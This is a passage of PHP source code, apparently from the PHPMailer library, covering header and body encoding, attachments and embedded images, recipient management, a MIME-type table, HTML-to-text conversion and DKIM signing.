  1564.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  1565.             if ($magic_quotes) {
  1566.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1567.                     set_magic_quotes_runtime($magic_quotes);
  1568.                 } else {
  1569.                     ini_set('magic_quotes_runtime', $magic_quotes);
  1570.                 }
  1571.             }
  1572.             return $file_buffer;
  1573.         } catch (Exception $exc) {
  1574.             $this->setError($exc->getMessage());
  1575.             return '';
  1576.         }
  1577.     }
  1578.     public function encodeString($str, $encoding = 'base64')
  1579.     {
  1580.         $encoded = '';
  1581.         switch (strtolower($encoding)) {
  1582.             case 'base64':
  1583.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  1584.                 break;
  1585.             case '7bit':
  1586.             case '8bit':
  1587.                 $encoded = $this->fixEOL($str);
  1588.                 // Make sure it ends with a line break
  1589.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  1590.                     $encoded .= $this->LE;
  1591.                 }
  1592.                 break;
  1593.             case 'binary':
  1594.                 $encoded = $str;
  1595.                 break;
  1596.             case 'quoted-printable':
  1597.                 $encoded = $this->encodeQP($str);
  1598.                 break;
  1599.             default:
  1600.                 $this->setError($this->lang('encoding') . $encoding);
  1601.                 break;
  1602.         }
  1603.         return $encoded;
  1604.     }
  1605.     public function encodeHeader($str, $position = 'text')
  1606.     {
  1607.         $matchcount = 0;
  1608.         switch (strtolower($position)) {
  1609.             case 'phrase':
  1610.                 if (!preg_match('/[\200-\377]/', $str)) {
  1611.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  1612.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  1613.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  1614.                         return ($encoded);
  1615.                     } else {
  1616.                         return ("\"$encoded\"");
  1617.                     }
  1618.                 }
  1619.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  1620.                 break;
  1621.            
  1622.             case 'comment':
  1623.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  1624.                 // Intentional fall-through
  1625.             case 'text':
  1626.             default:
  1627.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  1628.                 break;
  1629.         }
  1630.         //There are no chars that need encoding
  1631.         if ($matchcount == 0) {
  1632.             return ($str);
  1633.         }
  1634.         $maxlen = 75 - 7 - strlen($this->CharSet);
  1635.         // Try to select the encoding which should produce the shortest output
  1636.         if ($matchcount > strlen($str) / 3) {
  1637.             // More than a third of the content will need encoding, so B encoding will be most efficient
  1638.             $encoding = 'B';
  1639.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  1640.                 // Use a custom function which correctly encodes and wraps long
  1641.                 // multibyte strings without breaking lines within a character
  1642.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  1643.             } else {
  1644.                 $encoded = base64_encode($str);
  1645.                 $maxlen -= $maxlen % 4;
  1646.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  1647.             }
  1648.         } else {
  1649.             $encoding = 'Q';
  1650.             $encoded = $this->encodeQ($str, $position);
  1651.             $encoded = $this->wrapText($encoded, $maxlen, true);
  1652.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  1653.         }
  1654.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  1655.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  1656.         return $encoded;
  1657.     }
  1658.     public function hasMultiBytes($str)
  1659.     {
  1660.         if (function_exists('mb_strlen')) {
  1661.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  1662.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  1663.             return false;
  1664.         }
  1665.     }
  1666.     public function has8bitChars($text)
  1667.     {
  1668.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  1669.     }
  1670.     public function base64EncodeWrapMB($str, $linebreak = null)
  1671.     {
  1672.         $start = '=?' . $this->CharSet . '?B?';
  1673.         $end = '?=';
  1674.         $encoded = '';
  1675.         if ($linebreak === null) {
  1676.             $linebreak = $this->LE;
  1677.         }
  1678.         $mb_length = mb_strlen($str, $this->CharSet);
  1679.         // Each line must have length <= 75, including $start and $end
  1680.         $length = 75 - strlen($start) - strlen($end);
  1681.         // Average multi-byte ratio
  1682.         $ratio = $mb_length / strlen($str);
  1683.         // Base64 has a 4:3 ratio
  1684.         $avgLength = floor($length * $ratio * .75);
  1685.         for ($i = 0; $i < $mb_length; $i += $offset) {
  1686.             $lookBack = 0;
  1687.             do {
  1688.                 $offset = $avgLength - $lookBack;
  1689.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  1690.                 $chunk = base64_encode($chunk);
  1691.                 $lookBack++;
  1692.             } while (strlen($chunk) > $length);
  1693.             $encoded .= $chunk . $linebreak;
  1694.         }
  1695.         // Chomp the last linefeed
  1696.         $encoded = substr($encoded, 0, -strlen($linebreak));
  1697.         return $encoded;
  1698.     }
  1699.     public function encodeQP($string, $line_max = 76)
  1700.     {
  1701.         // Use native function if it's available (>= PHP5.3)
  1702.         if (function_exists('quoted_printable_encode')) {
  1703.             return quoted_printable_encode($string);
  1704.         }
  1705.         // Fall back to a pure PHP implementation
  1706.         $string = str_replace(
  1707.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  1708.             array(' ', "\r\n=2E", "\r\n", '='),
  1709.             rawurlencode($string)
  1710.         );
  1711.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  1712.     }
  1713.     public function encodeQPphp(
  1714.         $string,
  1715.         $line_max = 76,
  1716.          $space_conv = false
  1717.     ) {
  1718.         return $this->encodeQP($string, $line_max);
  1719.     }
  1720.     public function encodeQ($str, $position = 'text')
  1721.     {
  1722.         // There should not be any EOL in the string
  1723.         $pattern = '';
  1724.         $encoded = str_replace(array("\r", "\n"), '', $str);
  1725.         switch (strtolower($position)) {
  1726.             case 'phrase':
  1727.                 // RFC 2047 section 5.3
  1728.                 $pattern = '^A-Za-z0-9!*+\/ -';
  1729.                 break;
  1730.            
  1731.             case 'comment':
  1732.                 // RFC 2047 section 5.2
  1733.                 $pattern = '\(\)"';
  1734.                 // intentional fall-through
  1735.                 // for this reason we build the $pattern without including delimiters and []
  1736.             case 'text':
  1737.             default:
  1738.                 // RFC 2047 section 5.1
  1739.                 // Replace every high ascii, control, =, ? and _ characters
  1740.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  1741.                 break;
  1742.         }
  1743.         $matches = array();
  1744.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  1745.             // If the string contains an '=', make sure it's the first thing we replace
  1746.             // so as to avoid double-encoding
  1747.             $eqkey = array_search('=', $matches[0]);
  1748.             if (false !== $eqkey) {
  1749.                 unset($matches[0][$eqkey]);
  1750.                 array_unshift($matches[0], '=');
  1751.             }
  1752.             foreach (array_unique($matches[0]) as $char) {
  1753.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  1754.             }
  1755.         }
  1756.         // Replace every spaces to _ (more readable than =20)
  1757.         return str_replace(' ', '_', $encoded);
  1758.     }
  1759.     public function addStringAttachment(
  1760.         $string,
  1761.         $filename,
  1762.         $encoding = 'base64',
  1763.         $type = '',
  1764.         $disposition = 'attachment'
  1765.     ) {
  1766.         // If a MIME type is not specified, try to work it out from the file name
  1767.         if ($type == '') {
  1768.             $type = self::filenameToType($filename);
  1769.         }
  1770.         // Append to $attachment array
  1771.         $this->attachment[] = array(
  1772.             0 => $string,
  1773.             1 => $filename,
  1774.             2 => basename($filename),
  1775.             3 => $encoding,
  1776.             4 => $type,
  1777.             5 => true, // isStringAttachment
  1778.             6 => $disposition,
  1779.             7 => 0
  1780.         );
  1781.     }
  1782.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  1783.     {
  1784.         if (!@is_file($path)) {
  1785.             $this->setError($this->lang('file_access') . $path);
  1786.             return false;
  1787.         }
  1788.         // If a MIME type is not specified, try to work it out from the file name
  1789.         if ($type == '') {
  1790.             $type = self::filenameToType($path);
  1791.         }
  1792.         $filename = basename($path);
  1793.         if ($name == '') {
  1794.             $name = $filename;
  1795.         }
  1796.         // Append to $attachment array
  1797.         $this->attachment[] = array(
  1798.             0 => $path,
  1799.             1 => $filename,
  1800.             2 => $name,
  1801.             3 => $encoding,
  1802.             4 => $type,
  1803.             5 => false, // isStringAttachment
  1804.             6 => $disposition,
  1805.             7 => $cid
  1806.         );
  1807.         return true;
  1808.     }
  1809.     public function addStringEmbeddedImage(
  1810.         $string,
  1811.         $cid,
  1812.         $name = '',
  1813.         $encoding = 'base64',
  1814.         $type = '',
  1815.         $disposition = 'inline'
  1816.     ) {
  1817.         // If a MIME type is not specified, try to work it out from the name
  1818.         if ($type == '' and !empty($name)) {
  1819.             $type = self::filenameToType($name);
  1820.         }
  1821.         // Append to $attachment array
  1822.         $this->attachment[] = array(
  1823.             0 => $string,
  1824.             1 => $name,
  1825.             2 => $name,
  1826.             3 => $encoding,
  1827.             4 => $type,
  1828.             5 => true, // isStringAttachment
  1829.             6 => $disposition,
  1830.             7 => $cid
  1831.         );
  1832.         return true;
  1833.     }
  1834.     public function inlineImageExists()
  1835.     {
  1836.         foreach ($this->attachment as $attachment) {
  1837.             if ($attachment[6] == 'inline') {
  1838.                 return true;
  1839.             }
  1840.         }
  1841.         return false;
  1842.     }
  1843.     public function attachmentExists()
  1844.     {
  1845.         foreach ($this->attachment as $attachment) {
  1846.             if ($attachment[6] == 'attachment') {
  1847.                 return true;
  1848.             }
  1849.         }
  1850.         return false;
  1851.     }
  1852.     public function alternativeExists()
  1853.     {
  1854.         return !empty($this->AltBody);
  1855.     }
  1856.     public function clearQueuedAddresses($kind)
  1857.     {
  1858.         $RecipientsQueue = $this->RecipientsQueue;
  1859.         foreach ($RecipientsQueue as $address => $params) {
  1860.             if ($params[0] == $kind) {
  1861.                 unset($this->RecipientsQueue[$address]);
  1862.             }
  1863.         }
  1864.     }
  1865.     public function clearAddresses()
  1866.     {
  1867.         foreach ($this->to as $to) {
  1868.             unset($this->all_recipients[strtolower($to[0])]);
  1869.         }
  1870.         $this->to = array();
  1871.         $this->clearQueuedAddresses('to');
  1872.     }
  1873.     public function clearCCs()
  1874.     {
  1875.         foreach ($this->cc as $cc) {
  1876.             unset($this->all_recipients[strtolower($cc[0])]);
  1877.         }
  1878.         $this->cc = array();
  1879.         $this->clearQueuedAddresses('cc');
  1880.     }
  1881.     public function clearBCCs()
  1882.     {
  1883.         foreach ($this->bcc as $bcc) {
  1884.             unset($this->all_recipients[strtolower($bcc[0])]);
  1885.         }
  1886.         $this->bcc = array();
  1887.         $this->clearQueuedAddresses('bcc');
  1888.     }
  1889.     public function clearReplyTos()
  1890.     {
  1891.         $this->ReplyTo = array();
  1892.         $this->ReplyToQueue = array();
  1893.     }
  1894.     public function clearAllRecipients()
  1895.     {
  1896.         $this->to = array();
  1897.         $this->cc = array();
  1898.         $this->bcc = array();
  1899.         $this->all_recipients = array();
  1900.         $this->RecipientsQueue = array();
  1901.     }
  1902.     public function clearAttachments()
  1903.     {
  1904.         $this->attachment = array();
  1905.     }
  1906.     public function clearCustomHeaders()
  1907.     {
  1908.         $this->CustomHeader = array();
  1909.     }
  1910.     protected function setError($msg)
  1911.     {
  1912.         $this->error_count++;
  1913.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  1914.             $lasterror = $this->smtp->getError();
  1915.             if (!empty($lasterror['error'])) {
  1916.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  1917.                 if (!empty($lasterror['detail'])) {
  1918.                     $msg .= ' Detail: '. $lasterror['detail'];
  1919.                 }
  1920.                 if (!empty($lasterror['smtp_code'])) {
  1921.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  1922.                 }
  1923.                 if (!empty($lasterror['smtp_code_ex'])) {
  1924.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  1925.                 }
  1926.             }
  1927.         }
  1928.         $this->ErrorInfo = $msg;
  1929.     }
  1930.     public static function rfcDate()
  1931.     {
  1932.         // Set the time zone to whatever the default is to avoid 500 errors
  1933.         // Will default to UTC if it's not set properly in php.ini
  1934.         date_default_timezone_set(@date_default_timezone_get());
  1935.         return date('D, j M Y H:i:s O');
  1936.     }
  1937.     protected function serverHostname()
  1938.     {
  1939.         $result = 'localhost.localdomain';
  1940.         if (!empty($this->Hostname)) {
  1941.             $result = $this->Hostname;
  1942.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  1943.             $result = $_SERVER['SERVER_NAME'];
  1944.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  1945.             $result = gethostname();
  1946.         } elseif (php_uname('n') !== false) {
  1947.             $result = php_uname('n');
  1948.         }
  1949.         return $result;
  1950.     }
  1951.     protected function lang($key)
  1952.     {
  1953.         if (count($this->language) < 1) {
  1954.             $this->setLanguage('en'); // set the default language
  1955.         }
  1956.         if (array_key_exists($key, $this->language)) {
  1957.             if ($key == 'smtp_connect_failed') {
  1958.                 //Include a link to troubleshooting docs on SMTP connection failure
  1959.                 //this is by far the biggest cause of support questions
  1960.                 //but it's usually not PHPMailer's fault.
  1961.                 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  1962.             }
  1963.             return $this->language[$key];
  1964.         } else {
  1965.             //Return the key as a fallback
  1966.             return $key;
  1967.         }
  1968.     }
  1969.     public function isError()
  1970.     {
  1971.         return ($this->error_count > 0);
  1972.     }
  1973.     public function fixEOL($str)
  1974.     {
  1975.         // Normalise to \n
  1976.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  1977.         // Now convert LE as needed
  1978.         if ($this->LE !== "\n") {
  1979.             $nstr = str_replace("\n", $this->LE, $nstr);
  1980.         }
  1981.         return $nstr;
  1982.     }
  1983.     public function addCustomHeader($name, $value = null)
  1984.     {
  1985.         if ($value === null) {
  1986.             // Value passed in as name:value
  1987.             $this->CustomHeader[] = explode(':', $name, 2);
  1988.         } else {
  1989.             $this->CustomHeader[] = array($name, $value);
  1990.         }
  1991.     }
  1992.     public function getCustomHeaders()
  1993.     {
  1994.         return $this->CustomHeader;
  1995.     }
  1996.     public function msgHTML($message, $basedir = '', $advanced = false)
  1997.     {
  1998.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  1999.         if (array_key_exists(2, $images)) {
  2000.             foreach ($images[2] as $imgindex => $url) {
  2001.                 // Convert data URIs into embedded images
  2002.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2003.                     $data = substr($url, strpos($url, ','));
  2004.                     if ($match[2]) {
  2005.                         $data = base64_decode($data);
  2006.                     } else {
  2007.                         $data = rawurldecode($data);
  2008.                     }
  2009.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2010.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  2011.                         $message = str_replace(
  2012.                             $images[0][$imgindex],
  2013.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2014.                             $message
  2015.                         );
  2016.                     }
  2017.                 } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[a-z][a-z0-9+.-]*://#i', $url)) {
  2018.                     // Do not change urls for absolute images (thanks to corvuscorax)
  2019.                     // Do not change urls that are already inline images
  2020.                     $filename = basename($url);
  2021.                     $directory = dirname($url);
  2022.                     if ($directory == '.') {
  2023.                         $directory = '';
  2024.                     }
  2025.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2026.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2027.                         $basedir .= '/';
  2028.                     }
  2029.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2030.                         $directory .= '/';
  2031.                     }
  2032.                     if ($this->addEmbeddedImage(
  2033.                         $basedir . $directory . $filename,
  2034.                         $cid,
  2035.                         $filename,
  2036.                         'base64',
  2037.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2038.                     )
  2039.                     ) {
  2040.                         $message = preg_replace(
  2041.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2042.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  2043.                             $message
  2044.                         );
  2045.                     }
  2046.                 }
  2047.             }
  2048.         }
  2049.         $this->isHTML(true);
  2050.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2051.         $this->Body = $this->normalizeBreaks($message);
  2052.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2053.         if (!$this->alternativeExists()) {
  2054.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2055.                 self::CRLF . self::CRLF;
  2056.         }
  2057.         return $this->Body;
  2058.     }
  2059.     public function html2text($html, $advanced = false)
  2060.     {
  2061.         if (is_callable($advanced)) {
  2062.             return call_user_func($advanced, $html);
  2063.         }
  2064.         return html_entity_decode(
  2065.             trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2066.             ENT_QUOTES,
  2067.             $this->CharSet
  2068.         );
  2069.     }
  2070.     public static function _mime_types($ext = '')
  2071.     {
  2072.         $mimes = array(
  2073.             'xl'    => 'application/excel',
  2074.             'js'    => 'application/javascript',
  2075.             'hqx'   => 'application/mac-binhex40',
  2076.             'cpt'   => 'application/mac-compactpro',
  2077.             'bin'   => 'application/macbinary',
  2078.             'doc'   => 'application/msword',
  2079.             'word'  => 'application/msword',
  2080.             'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  2081.             'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  2082.             'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  2083.             'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  2084.             'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  2085.             'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  2086.             'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  2087.             'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  2088.             'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
  2089.             'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  2090.             'class' => 'application/octet-stream',
  2091.             'dll'   => 'application/octet-stream',
  2092.             'dms'   => 'application/octet-stream',
  2093.             'exe'   => 'application/octet-stream',
  2094.             'lha'   => 'application/octet-stream',
  2095.             'lzh'   => 'application/octet-stream',
  2096.             'psd'   => 'application/octet-stream',
  2097.             'sea'   => 'application/octet-stream',
  2098.             'so'    => 'application/octet-stream',
  2099.             'oda'   => 'application/oda',
  2100.             'pdf'   => 'application/pdf',
  2101.             'ai'    => 'application/postscript',
  2102.             'eps'   => 'application/postscript',
  2103.             'ps'    => 'application/postscript',
  2104.             'smi'   => 'application/smil',
  2105.             'smil'  => 'application/smil',
  2106.             'mif'   => 'application/vnd.mif',
  2107.             'xls'   => 'application/vnd.ms-excel',
  2108.             'ppt'   => 'application/vnd.ms-powerpoint',
  2109.             'wbxml' => 'application/vnd.wap.wbxml',
  2110.             'wmlc'  => 'application/vnd.wap.wmlc',
  2111.             'dcr'   => 'application/x-director',
  2112.             'dir'   => 'application/x-director',
  2113.             'dxr'   => 'application/x-director',
  2114.             'dvi'   => 'application/x-dvi',
  2115.             'gtar'  => 'application/x-gtar',
  2116.             'php3'  => 'application/x-httpd-php',
  2117.             'php4'  => 'application/x-httpd-php',
  2118.             'php'   => 'application/x-httpd-php',
  2119.             'phtml' => 'application/x-httpd-php',
  2120.             'phps'  => 'application/x-httpd-php-source',
  2121.             'swf'   => 'application/x-shockwave-flash',
  2122.             'sit'   => 'application/x-stuffit',
  2123.             'tar'   => 'application/x-tar',
  2124.             'tgz'   => 'application/x-tar',
  2125.             'xht'   => 'application/xhtml+xml',
  2126.             'xhtml' => 'application/xhtml+xml',
  2127.             'zip'   => 'application/zip',
  2128.             'mid'   => 'audio/midi',
  2129.             'midi'  => 'audio/midi',
  2130.             'mp2'   => 'audio/mpeg',
  2131.             'mp3'   => 'audio/mpeg',
  2132.             'mpga'  => 'audio/mpeg',
  2133.             'aif'   => 'audio/x-aiff',
  2134.             'aifc'  => 'audio/x-aiff',
  2135.             'aiff'  => 'audio/x-aiff',
  2136.             'ram'   => 'audio/x-pn-realaudio',
  2137.             'rm'    => 'audio/x-pn-realaudio',
  2138.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  2139.             'ra'    => 'audio/x-realaudio',
  2140.             'wav'   => 'audio/x-wav',
  2141.             'bmp'   => 'image/bmp',
  2142.             'gif'   => 'image/gif',
  2143.             'jpeg'  => 'image/jpeg',
  2144.             'jpe'   => 'image/jpeg',
  2145.             'jpg'   => 'image/jpeg',
  2146.             'png'   => 'image/png',
  2147.             'tiff'  => 'image/tiff',
  2148.             'tif'   => 'image/tiff',
  2149.             'eml'   => 'message/rfc822',
  2150.             'css'   => 'text/css',
  2151.             'html'  => 'text/html',
  2152.             'htm'   => 'text/html',
  2153.             'shtml' => 'text/html',
  2154.             'log'   => 'text/plain',
  2155.             'text'  => 'text/plain',
  2156.             'txt'   => 'text/plain',
  2157.             'rtx'   => 'text/richtext',
  2158.             'rtf'   => 'text/rtf',
  2159.             'vcf'   => 'text/vcard',
  2160.             'vcard' => 'text/vcard',
  2161.             'xml'   => 'text/xml',
  2162.             'xsl'   => 'text/xml',
  2163.             'mpeg'  => 'video/mpeg',
  2164.             'mpe'   => 'video/mpeg',
  2165.             'mpg'   => 'video/mpeg',
  2166.             'mov'   => 'video/quicktime',
  2167.             'qt'    => 'video/quicktime',
  2168.             'rv'    => 'video/vnd.rn-realvideo',
  2169.             'avi'   => 'video/x-msvideo',
  2170.             'movie' => 'video/x-sgi-movie'
  2171.         );
  2172.         if (array_key_exists(strtolower($ext), $mimes)) {
  2173.             return $mimes[strtolower($ext)];
  2174.         }
  2175.         return 'application/octet-stream';
  2176.     }
  2177.     public static function filenameToType($filename)
  2178.     {
  2179.         // In case the path is a URL, strip any query string before getting extension
  2180.         $qpos = strpos($filename, '?');
  2181.         if (false !== $qpos) {
  2182.             $filename = substr($filename, 0, $qpos);
  2183.         }
  2184.         $pathinfo = self::mb_pathinfo($filename);
  2185.         return self::_mime_types($pathinfo['extension']);
  2186.     }
  2187.     public static function mb_pathinfo($path, $options = null)
  2188.     {
  2189.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2190.         $pathinfo = array();
  2191.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2192.             if (array_key_exists(1, $pathinfo)) {
  2193.                 $ret['dirname'] = $pathinfo[1];
  2194.             }
  2195.             if (array_key_exists(2, $pathinfo)) {
  2196.                 $ret['basename'] = $pathinfo[2];
  2197.             }
  2198.             if (array_key_exists(5, $pathinfo)) {
  2199.                 $ret['extension'] = $pathinfo[5];
  2200.             }
  2201.             if (array_key_exists(3, $pathinfo)) {
  2202.                 $ret['filename'] = $pathinfo[3];
  2203.             }
  2204.         }
  2205.         switch ($options) {
  2206.             case PATHINFO_DIRNAME:
  2207.             case 'dirname':
  2208.                 return $ret['dirname'];
  2209.             case PATHINFO_BASENAME:
  2210.             case 'basename':
  2211.                 return $ret['basename'];
  2212.             case PATHINFO_EXTENSION:
  2213.             case 'extension':
  2214.                 return $ret['extension'];
  2215.             case PATHINFO_FILENAME:
  2216.             case 'filename':
  2217.                 return $ret['filename'];
  2218.             default:
  2219.                 return $ret;
  2220.         }
  2221.     }
  2222.     public function set($name, $value = '')
  2223.     {
  2224.         if (property_exists($this, $name)) {
  2225.             $this->$name = $value;
  2226.             return true;
  2227.         } else {
  2228.             $this->setError($this->lang('variable_set') . $name);
  2229.             return false;
  2230.         }
  2231.     }
  2232.     public function secureHeader($str)
  2233.     {
  2234.         return trim(str_replace(array("\r", "\n"), '', $str));
  2235.     }
  2236.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  2237.     {
  2238.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2239.     }
  2240.     public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  2241.     {
  2242.         $this->sign_cert_file = $cert_filename;
  2243.         $this->sign_key_file = $key_filename;
  2244.         $this->sign_key_pass = $key_pass;
  2245.         $this->sign_extracerts_file = $extracerts_filename;
  2246.     }
  2247.     public function DKIM_QP($txt)
  2248.     {
  2249.         $line = '';
  2250.         for ($i = 0; $i < strlen($txt); $i++) {
  2251.             $ord = ord($txt[$i]);
  2252.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2253.                 $line .= $txt[$i];
  2254.             } else {
  2255.                 $line .= '=' . sprintf('%02X', $ord);
  2256.             }
  2257.         }
  2258.         return $line;
  2259.     }
  2260.     public function DKIM_Sign($signHeader)
  2261.     {
  2262.         if (!defined('PKCS7_TEXT')) {
  2263.             if ($this->exceptions) {
  2264.                 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2265.             }
  2266.             return '';
  2267.         }
  2268.         $privKeyStr = file_get_contents($this->DKIM_private);
  2269.         if ($this->DKIM_passphrase != '') {
  2270.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2271.         } else {
  2272.             $privKey = openssl_pkey_get_private($privKeyStr);
  2273.         }
  2274.         if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { //sha1WithRSAEncryption
  2275.             openssl_pkey_free($privKey);
  2276.             return base64_encode($signature);
  2277.         }
  2278.         openssl_pkey_free($privKey);
  2279.         return '';
  2280.     }
  2281.     public function DKIM_HeaderC($signHeader)
  2282.     {
  2283.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2284.         $lines = explode("\r\n", $signHeader);
  2285.         foreach ($lines as $key => $line) {
  2286.             list($heading, $value) = explode(':', $line, 2);
  2287.             $heading = strtolower($heading);
  2288.             $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
  2289.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2290.         }
  2291.         $signHeader = implode("\r\n", $lines);
  2292.         return $signHeader;
  2293.     }
  2294.     public function DKIM_BodyC($body)
  2295.     {
  2296.         if ($body == '') {
  2297.             return "\r\n";
  2298.         }
  2299.         // stabilize line endings
  2300.         $body = str_replace("\r\n", "\n", $body);
  2301.         $body = str_replace("\n", "\r\n", $body);
  2302.         // END stabilize line endings
  2303.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2304.             $body = substr($body, 0, strlen($body) - 2);
  2305.         }
  2306.         return $body;
  2307.     }
  2308.     public function DKIM_Add($headers_line, $subject, $body)
  2309.     {
  2310.         $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
  2311.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2312.         $DKIMquery = 'dns/txt'; // Query method
  2313.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2314.         $subject_header = "Subject: $subject";
  2315.         $headers = explode($this->LE, $headers_line);
  2316.         $from_header = '';
  2317.         $to_header = '';
  2318.         $date_header = '';
  2319.         $current = '';
  2320.         foreach ($headers as $header) {
  2321.             if (strpos($header, 'From:') === 0) {
  2322.                 $from_header = $header;
  2323.                 $current = 'from_header';
  2324.             } elseif (strpos($header, 'To:') === 0) {
  2325.                 $to_header = $header;
  2326.                 $current = 'to_header';
  2327.             } elseif (strpos($header, 'Date:') === 0) {
  2328.                 $date_header = $header;
  2329.                 $current = 'date_header';
  2330.             } else {
  2331.                 if (!empty($$current) && strpos($header, ' =?') === 0) {
  2332.                     $$current .= $header;
  2333.                 } else {
  2334.                     $current = '';
  2335.                 }
  2336.             }
  2337.         }
  2338.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2339.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2340.         $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
  2341.         $subject = str_replace(
  2342.             '|',
  2343.             '=7C',
  2344.             $this->DKIM_QP($subject_header)
  2345.         ); // Copied header fields (dkim-quoted-printable)
  2346.         $body = $this->DKIM_BodyC($body);
  2347.         $DKIMlen = strlen($body); // Length of body
  2348.         $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
  2349.         if ('' == $this->DKIM_identity) {
  2350.             $ident = '';
  2351.         } else {
  2352.             $ident = ' i=' . $this->DKIM_identity . ';';
  2353.         }
  2354.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2355.             $DKIMsignatureType . '; q=' .
  2356.             $DKIMquery . '; l=' .
  2357.             $DKIMlen . '; s=' .
  2358.             $this->DKIM_selector .
  2359.             ";\r\n" .
  2360.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2361.             "\th=From:To:Date:Subject;\r\n" .
  2362.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2363.             "\tz=$from\r\n" .
  2364.             "\t|$to\r\n" .
  2365.             "\t|$date\r\n" .
